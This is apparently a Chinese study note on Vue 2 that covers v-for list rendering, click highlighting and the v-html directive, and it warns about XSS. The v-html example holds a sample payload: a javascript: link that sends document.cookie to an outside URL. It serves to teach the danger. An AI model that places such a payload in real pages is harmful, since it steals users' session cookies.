Vue 漸進式JavaScript 框架 基于Vue2的學習筆記 - Vue 響應式渲染 - 列表布局和v-html
目錄
列表布局
簡單渲染列表
顯示索引值
點擊變色
V-html
作用
注意
采用策略
應用
總結
列表布局
簡單渲染列表
Data中設置狀態，是一個數組格式的默認信息。
然后設置v-for循環渲染ul的li元素。
示例如下：
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="item in datalist">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {datalist:["zhangsan", "lisi", "wangwu", "xiaoming"]},methods: {}})
</script>
</body>
</html>效果如下：
顯示索引值
顯示列表數據的索引值。
示例如下：
<ul><li v-for="(item, index) in datalist">{{item}}--{{index}}</li>
</ul>效果如下：
點擊變色
創建一個列表，點擊哪一個行，哪一行顯示選中效果。
示例如下：
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><style>.active {background: red;}</style><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="(item, index) in datalist" :class="current === index ? 'active': ''"@click="handleClick(index)">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {current: 0,datalist: ['面朝大海，春暖花開', '從明天起，做一個幸福的人', '喂馬、劈柴，周游世界'],},methods: {handleClick(index) {this.current = index}}})
</script>
</body>
</html>實現效果：
V-html
作用
更新元素的innerHTML。
注意
內容按普通 HTML插入。不會作為 Vue 模板進行編譯。如果試圖使用 v-html?組合模板，可以重新考慮是否通過使用組件來替代。
在網站上動態渲染任意 HTML 是非常危險的，因為容易導致 xss 攻擊。
在可信內容上，不用在用戶提交的內容上。
采用策略
使用V-html 需防止XSS,CSRF
前端過濾
后臺轉義
給cookie加上屬性httponly
應用
模擬ajax請求后端數據后，使用vue解析和v-html解析展示不同效果。
示例如下：
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><div>{{mydanger}}</div><div v-html="mydanger"></div><button @click="handleAjax()">請求</button>
</div>
<script>new Vue({el: "#box", // elementdata: {mydanger: '',},methods: {handleAjax() {console.log('點擊了按鈕')// 此處為請求后端獲取數據this.mydanger = "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>震驚!!!點擊查看</a>"}}})
</script>
</body>
</html>效果如下：
點擊鏈接后，會跳轉鏈接并帶著cookie，非常危險。
總結
Vue 漸進式JavaScript 框架 基于Vue2的學習筆記 - Vue 響應式渲染 - 列表布局和v-html
![[SAP ABAP] Debug Skill](http://pic.xiahunao.cn/[SAP ABAP] Debug Skill)
)
